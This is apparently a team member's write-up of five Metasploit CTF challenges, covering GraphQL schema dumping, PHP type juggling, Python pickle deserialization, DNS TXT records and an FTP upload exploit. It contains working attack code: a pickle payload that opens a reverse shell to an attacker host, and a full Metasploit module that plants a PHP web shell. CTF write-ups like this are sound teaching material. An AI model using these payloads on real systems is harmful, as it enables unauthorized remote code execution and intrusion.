The Metasploit CTF this year was supposed to be easier, and I guess in some ways, it was. But it was entirely too easy to overthink some of the challenges. While I personally didn’t solve all of the challenges, I did manage a few. It was a lot of teamwork to get all of them solved. We didn’t make it to the top 5 this year, but it was a fun experience all the same.
With that all said, here’s the challenge writeups for the ones I did.
Table of Contents |
---|
Queen of Spades |
4 of Clubs |
7 of Diamonds |
9 of Hearts |
5 of Clubs |
Queen of Spades
GraphQL – Ti-83 all over again
Queen of Spades was on port 8202 of the target box. I’m greeted with a pretty web UI.

Watch the requests in my proxy of choice, Burp, I can see in the background a call to /api
. This looks like GraphQL (spoiler alert: it is :p). I’ve seen GraphQL before which is why it stuck out to me, but I’ve never had an opportunity to exploit it, so this was a learning experience.

The request is quite unique, as is the response. After a bunch of reading, I went to Payload All the Things and found the Payload All The Things – GraphQL Injection entry quite useful. Using the example pretty much verbatim, I’m able to dump the schema:
{ "data": { "__schema": { "queryType": { "name": "QueryRoot" }, "mutationType": { "name": "MutationRoot" }, "types": [ { "kind": "OBJECT", "name": "QueryRoot", "description": null, "fields": [ [...] ], "inputFields": null, "interfaces": [], "enumValues": null, "possibleTypes": null }, { "kind": "OBJECT", "name": "Post", "description": "A post", "fields": [ { "name": "id", "description": null, "args": [], "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "Int", "ofType": null } }, "isDeprecated": false, "deprecationReason": null }, [...] { "name": "media", "description": null, "args": [], "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "String", "ofType": null } }, "isDeprecated": false, "deprecationReason": null }, { "name": "title", "description": null, "args": [], "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "String", "ofType": null } }, "isDeprecated": false, "deprecationReason": null }, { "name": "content", "description": null, "args": [], "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "String", "ofType": null } }, "isDeprecated": false, "deprecationReason": null }, [...] { "name": "updatedAt", "description": null, "args": [], "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "NaiveDateTime", "ofType": null } }, "isDeprecated": false, "deprecationReason": null }, { "name": "user", "description": null, "args": [], "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "OBJECT", "name": "User", "ofType": null } }, "isDeprecated": false, "deprecationReason": null } ], "inputFields": null, "interfaces": [], "enumValues": null, "possibleTypes": null }, [...] } } }
Looking at the JSON, I can see that Post
has a few interesting fields. I want to query for those fields to see if I can get our flag.
Now I can construct the following query:
{ "query":"{posts{id,content,media}}\n" }
And this results in the following response:
{ "data": { "posts": [ { "id": 1, "content": "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec interdum ut metus consectetur sodales. Sed et vulputate massa. Nullam consequat fringilla ante, sit amet lacinia ligula egestas et. Mauris imperdiet sodales nisl, sit amet placerat nisi. Pellentesque et ligula at purus convallis vehicula. Aenean ac ullamcorper diam", "media": "/cac0babe-1fff-4d85-9070-8d147e76da4b/queen_of_spades.png" } ] } }
Going to the media
URL gets the card. Success!

4 of Clubs
PHP Type Juggling for funsies
This PHP page was on port 8092.
I went to it and was greeted by partial source code.

Here’s the code:
$options = [ 'salt' => *secret*, 'cost' => 12 ]; if (password_hash($_POST['password'], PASSWORD_DEFAULT, $options) == $_POST['hash'] ){ *success code goes here to send the challenge card back to the user* } else{ echo "Invalid login! Maybe you should read the source code more closely?\n"; echo "<script>setTimeout(() => { document.location = '/index.php'; }, 6000)</script>"; }
The first thing that stuck out to me is type juggling on line 5. That’s a common PHP problem that I’ve seen before. Embarrassingly, it too me too long to get it to work. But ultimately, I was able to bypass the check with the following request:
POST /login.php HTTP/1.1 Host: 172.15.5.37:8092 [...] Content-Type: application/x-www-form-urlencoded Content-Length: 23 Connection: close Referer: http://172.15.5.37:8092/ Upgrade-Insecure-Requests: 1 user=admin&password[]=a

And browsing to that URL, I got the flag.

7 of Diamonds
Pickles aren’t just a tasty treat
This one was a fun one. Running on port 8888 was a Flask application. When you load the site, you are greeted with a listing of Metasploit modules.

Looking at the response in Burp, there’s a strange cookie that gets set: Set-Cookie: SESSION=gAR9lC4=; Path=/
As you use the menus at the top under Modules, you’ll notice that the cookies don’t have much entropy to them.
gASVIwAAAAAAAAB9lIwGZmlsdGVylIwTdHlwZSA9PSAiYXV4aWxpYXJ5IpRzLg==
gASVIQAAAAAAAAB9lIwGZmlsdGVylIwRdHlwZSA9PSAiZW5jb2RlciKUcy4=
gASVIQAAAAAAAAB9lIwGZmlsdGVylIwRdHlwZSA9PSAiZXZhc2lvbiKUcy4=
gASVJgAAAAAAAAB9lIwGZmlsdGVylIwWIkFuZHJvaWQiIGluIHBsYXRmb3Jtc5RzLg==
gASVIgAAAAAAAAB9lIwGZmlsdGVylIwSIk9TWCIgaW4gcGxhdGZvcm1zlHMu
As you can see, not much changes except a few bytes. I took that and attempted to base64 decode it:

There’s enough ASCII text there to make out filter "OSX" in platforms
, much like was seen in the URL filter
parameter.
A teammate did something I honestly should have tried and sent the plaintext test
in the cookie. This produced an interesting error different from the other errors I was able to cause:

Ah ha! This produced a hint that the application uses pickle
. That explains why the cookies didn’t have much entropy – they were serialized and the only thing that changed about the object that was serialized was what was being filtered, so they weren’t going to result in drastically different cookies.
Now that I know this information, I can pickle some stuff.
Here’s my aptly-named pickler.py
:
import pickle import base64 import os class RCE: def __reduce__(self): cmd = ('export RHOST="<ip>";export RPORT=4242;python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\'') return os.system, (cmd,) if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.b64encode(pickled)
Once on the box, I was able to get app.py
and see how the application worked:
#----------------------------------------------------------------------------# # Imports #----------------------------------------------------------------------------# import config from flask import Flask, Markup, abort, render_template, request, g # from flask.ext.sqlalchemy import SQLAlchemy import logging from logging import Formatter, FileHandler from forms import * import base64 import os import pathlib import pickle import json import rule_engine app_path = pathlib.Path(__file__).absolute().parent with (app_path / 'modules_metadata_base.json').open('r') as file_h: msf_modules = json.load(file_h) for module in msf_modules.values(): module['platforms'] = tuple(platform.strip() for platform in set(module['platform'].split(','))) with (app_path / 'flag.png').open('rb') as file_h: FLAG = file_h.read() if not config.DEBUG: (app_path / 'flag.png').unlink() [...] #----------------------------------------------------------------------------# # App Config. #----------------------------------------------------------------------------# app = Flask(__name__) app.config.from_object('config') #db = SQLAlchemy(app) [...] @app.before_request def pre_yolo(): session = {} if session_data := request.cookies.get('SESSION'): session.update(pickle.loads(base64.b64decode(session_data))) g.session = session @app.after_request def post_yolo(response): session_data = base64.b64encode(pickle.dumps(g.session)) response.set_cookie('SESSION', session_data) return response #----------------------------------------------------------------------------# # Controllers. #----------------------------------------------------------------------------# @app.route('/') def home(): return render_template('pages/modules.html', modules=msf_modules.values()) @app.route('/module/<path:fullname>') def module(fullname): module = next((module for module in msf_modules.values() if module.get('fullname') == fullname), None) if module is None: abort(404) return render_template('pages/module.html', module=module) @app.route('/modules') @app.route('/modules/<module_type>') def modules(module_type=None): modules = tuple(msf_modules.values()) if module_type is not None: modules = tuple(module for module in modules if module.get('type') == module_type) alert = None if filter_expresion := (request.args.get('filter') or g.session.get('filter')): # this whole thing is a red herring try: rule = rule_engine.Rule(filter_expresion, context=rule_context) modules = rule.filter(modules) except rule_engine.RuleSyntaxError: alert = 'The filter expression contained a syntax error.' except rule_engine.EngineError: alert = 'The filter expression contained an error.' else: g.session['filter'] = filter_expresion return render_template('pages/modules.html', alert=alert, modules=modules) # Error handlers. @app.errorhandler(500) def internal_error(error): #db_session.rollback() alert = None if isinstance(error.original_exception, pickle.UnpicklingError): alert = Markup('There was an error while loading the SESSION cookie with <code>pickle.loads</code>.') return render_template('errors/500.html', alert=alert), 500 @app.errorhandler(404) def not_found_error(error): return render_template('errors/404.html'), 404 if not app.debug: file_handler = FileHandler('error.log') file_handler.setFormatter( Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]') ) app.logger.setLevel(logging.INFO) file_handler.setLevel(logging.INFO) app.logger.addHandler(file_handler) app.logger.info('errors') #----------------------------------------------------------------------------# # Launch. #----------------------------------------------------------------------------# if __name__ == '__main__': app.run(host='0.0.0.0', port=config.HTTP_PORT)
I can see that it is clearly calling pickle.loads
and even the annoying ?filter
URL parameter that was a red herring. But, this part of the code annoyed me the most:
with (app_path / 'flag.png').open('rb') as file_h: FLAG = file_h.read() if not config.DEBUG: (app_path / 'flag.png').unlink()
The application is indeed not running in DEBUG
mode, so flag.png
is removed from the filesystem when the application starts. So how do I access that variable? After a lot of Googling around, I came across this blog post: Escalating Deserialization (Python). The helpful search phrase was python deserialize exploit reference variable
and this post was the first result.
With that information, I changed my pickler.py
to read like this:
import pickle import base64 import os class RCE: def __reduce__(self): cmd = ('export RHOST="<ip>";export RPORT=4242;python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\'') #return os.system, (cmd,) return (exec, ("app.logger.info(base64.b64encode(FLAG))",)) if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.b64encode(pickled))
I invoke app.logger.info
as I know I can reliably output to it. From there, base64 encode the FLAG
variable and I now have this beautiful response in my reverse shell:

This one took two steps:
- Reverse connection back to our attack box
- Reading the flag in to errors.log and base64 encoding it.
The reason is that I need the reverse connection back to read the log file. Was there a shorter way? Probably. But this worked. Noisy, but it worked.
Now with that content, I can get our flag.
Once I copy and paste that out, I can simply base64 decode it: cat flag.png.b64 | base64 -d > flag.png

That was frustrating but fun.
9 of Hearts
Dig in. Or don’t.
We did our port scan for TCP and UDP at the beginning and only one UDP port was open, 53. This is typically a DNS server.
I tried to do dig ptr <ip> @<ip>
early on and it just didn’t work. I ignored this challenge thinking it might be a red herring. Near the end, a teammate instead did nslookup <ip> <ip>
and there was the zone name, sitting right there.
I still don’t know why dig didn’t work. If anybody can tell me why, I’d love to know.

But here it is with nslookup
just right there.

It also worked with host <ip> <ip>
. This is why I have trust issues. I have no clue why dig
wasn’t getting the PTR record, but here we are.
On a hunch, I did a TXT
record query with dig txt 9ofhearts.ctf @<ip>
and I have the image. Or the base64 of it.

The quotes and spaces of course will result in invalid base64, but with a perl one-liner, that’s an easy fix. I copied the TXT record in to a file and did a replace on the quotes: perl -pi -s 's/" "//g' flag.png.base64
and I am left with a simple cat flag.png.base64 | base64 -d > flag.png
to get the flag.

5 of Clubs
FTP, Pfft.
On port 8101, you’re greeted with the following page:

Looking at the PCAP, I can see what seems to be a pretty straightforward exploit. This turned in to two days of fighting with Metasploit. So much for straightforward. But that was user error.

A couple of things stick out. There’s the username and password of ftpuser:ftpuser
, so I’ll save them for later. Then there’s the request to /files/<file.php>
on the same host that’s running FTP. This makes it easier. We’re given a couple of examples to work from and a sample res.rc
file to work with.
When I upload, I get a page with links to the eventual output. This was helpful debugging, but why not debug locally? Docker to the rescue there. A teammate created a Dockerfile
to create the environment locally:
FROM php:7.0-apache
COPY index.php /var/www/html
RUN mkdir /var/www/html/files
RUN mkdir -p /var/run/vsftpd/empty
RUN useradd sammy
RUN echo sammy:sammy | chpasswd
RUN echo www-data:www-data | chpasswd
RUN usermod --shell /bin/bash www-data
RUN usermod --shell /bin/bash sammy
RUN echo sammy > /etc/vsftpd.userlist
RUN echo www-data >> /etc/vsftpd.userlist
RUN mkdir -p /home/sammy/ftp
RUN chown nobody:nogroup /home/sammy/ftp
RUN chmod a-w /home/sammy/ftp
RUN mkdir /home/sammy/ftp/files
RUN chown -R www-data:www-data /var/www
RUN chown sammy:sammy /home/sammy/ftp/files
RUN echo "vsftpd test file" | tee /home/sammy/ftp/files/test.txt
RUN apt update
RUN apt install nano -y
RUN apt install vsftpd -y
COPY vsftpd.conf /etc
EXPOSE 21 80 20 6000-6500
Then I need a vsftpd.conf
to go with it:
listen=NO
listen_ipv6=YES
anonymous_enable=NO
local_enable=YES
write_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
chroot_local_user=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
user_sub_token=$USER
local_root=/var/www/html
pasv_min_port=6000
pasv_max_port=6500
userlist_enable=YES
userlist_file=/etc/vsftpd.userlist
userlist_deny=NO
allow_writeable_chroot=YES
You’ll also need an index.php
since the build copies it. With these files, I build and run the Docker image:
docker build -t msf-module-test .
docker run --name sploit-testing -d -p 8765:80 -p 21:21 -p 6000-6500:6000-6500 msf-module-test:latest
docker exec -it sploit-testing bash
Once I’m in the container, I run vsftpd
with /usr/sbin/vsftpd /etc/vsftpd.conf
. This’ll leave it in the foreground, but that’s fine for our needs. Now I can run msfconsole
in another container or somewhere else, as long as it can talk to our container over the network.
After a bunch of debugging with set ftpdebug true
in Metasploit and the requisite Google searches on why I was getting 425 Security: Bad IP connecting
in my responses, I added the following line to my FTP config file and restarted the server:
pasv_promiscuous=YES
Once I did that, my module started working. Here’s the 5ofclubs.rb
file:
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::TcpServer include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Metasploit CTF arbitrary file upload 5 of clubs", 'Description' => %q{Upload with known creds and browse to an endpoint to get the file.}, 'License' => MSF_LICENSE, 'Author' => [ 'NA', # Vulnerability discovery, Metasploit module ], 'References' => [], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['WEB_FTP', {}] ], 'Privileged' => false, 'DisclosureDate' => '2020-12-04', 'DefaultTarget' => 0)) register_options( [ # Change the default description so this option makes sense OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080]), OptString.new('RHOST', [true, 'The host for the FTP and web server']), OptString.new('TARGETURI', [true, 'The URI of the endpoint to invoke.', '/files/']), OptPort.new('RPORT_WEB', [true, 'The port for web', 80]), OptString.new('CMD', [true, 'The command to run']) ] ) end def upload(filename) select(nil, nil, nil, 1) peer = "#{rhost}:#{rport}" conn = connect_login if not conn fail_with(Exploit::Failure::Unreachable, "#{peer} - connection failed") end print_status('cd\'ing in to the files directory') cwd = send_cmd(['CWD', 'files'], true) print_status(cwd) print_status("Trying to upload #{::File.basename(filename)}") upload_res_2 = send_cmd_data(['PUT', filename], @php) print_status("Upload results 2: #{upload_res_2}") disconnect end def exploit php_name = "#{rand_text_alpha(rand(10)+5)}.php" @php = '<?php echo passthru($_GET["cmd"]);' upload(php_name) print_status('Sending HTTP Request') url = "http://#{rhost}:#{datastore['RPORT_WEB']}#{target_uri}#{php_name}?cmd=#{CGI.escape(datastore['CMD'])}" print_status(url) res = request_url(url) if res && res.code == 200 print_good(res.body) else print_error('File not uploaded successfully') end end end
And the res.rc
file to go with it:
# The module is copied to `modules/exploits/`, so don't change this use exploit/module set FTPUSER ftpuser set FTPPASS ftpuser set RPORT 21 set PAYLOAD php/exec set TARGET 0 set CMD cat /var/www/5_of_clubs.png | base64 # Make sure everything is alright show options # this will execute the module and put any session in background run -z # This block of ruby code is useful to make sure a session is setup before # interacting with it. Feel free to update this code. <ruby> print_status('Waiting a bit to make sure the session is completely setup ...') timeout = 10 loop do break if (timeout == 0) || (framework.sessions.any? && framework.sessions.first[1].sys) sleep 1 timeout -= 1 end if framework.sessions.any? && framework.sessions.first[1].sys # Here is where we can interact with the session (shell or meterpreter). # The session number should be 1 at this point. # e.g. (for a meterpreter session): run_single("sessions -i 1 -C 'ls -al'") run_single("sessions -i 1 -C 'md5sum 5_of_clubs.png'") end </ruby>
After I upload these two to the frontend, I get the flag.

Doing the cat flag.png.b64 | base64 -d > flag.png
I get our final flag and can MD5 the file to get the challenge.

Conclusion
I had a lot of fun this year. There were a number of times that I ended up kicking myself for overthinking something or missing what was right in front of me. We didn’t get in top 5 like we have in the past, but it was fun all the same. Here’s to the next CTF!